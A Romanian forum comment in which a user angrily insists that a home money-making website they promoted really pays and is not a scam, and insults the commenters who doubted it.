  22. Nu sunt analfabet! Esti dus cu pluta sa crezi asa ceva. Ce-a ce v-am prezentat este o modalitate de a face niste bani, ma refer la cei ce stau acasa si nu au un loc de munca si vor sa lucreze. Eu muncesc zilnic plec de dimineata la 8 la servici si ajung seara la ora 20, si aceesta este o alternativa de a mai castiga un ban in plus. Situ-l plateste cu adevarat. Nu e nici un scam. Daca voi nu sunteti in stare ( ma refer la idiotii ce comenteaza aiurea ) rog sa ii lasati pe cei care doresc cu adevarat sa castige un ban.
    -1 points
×
×
  • Create New...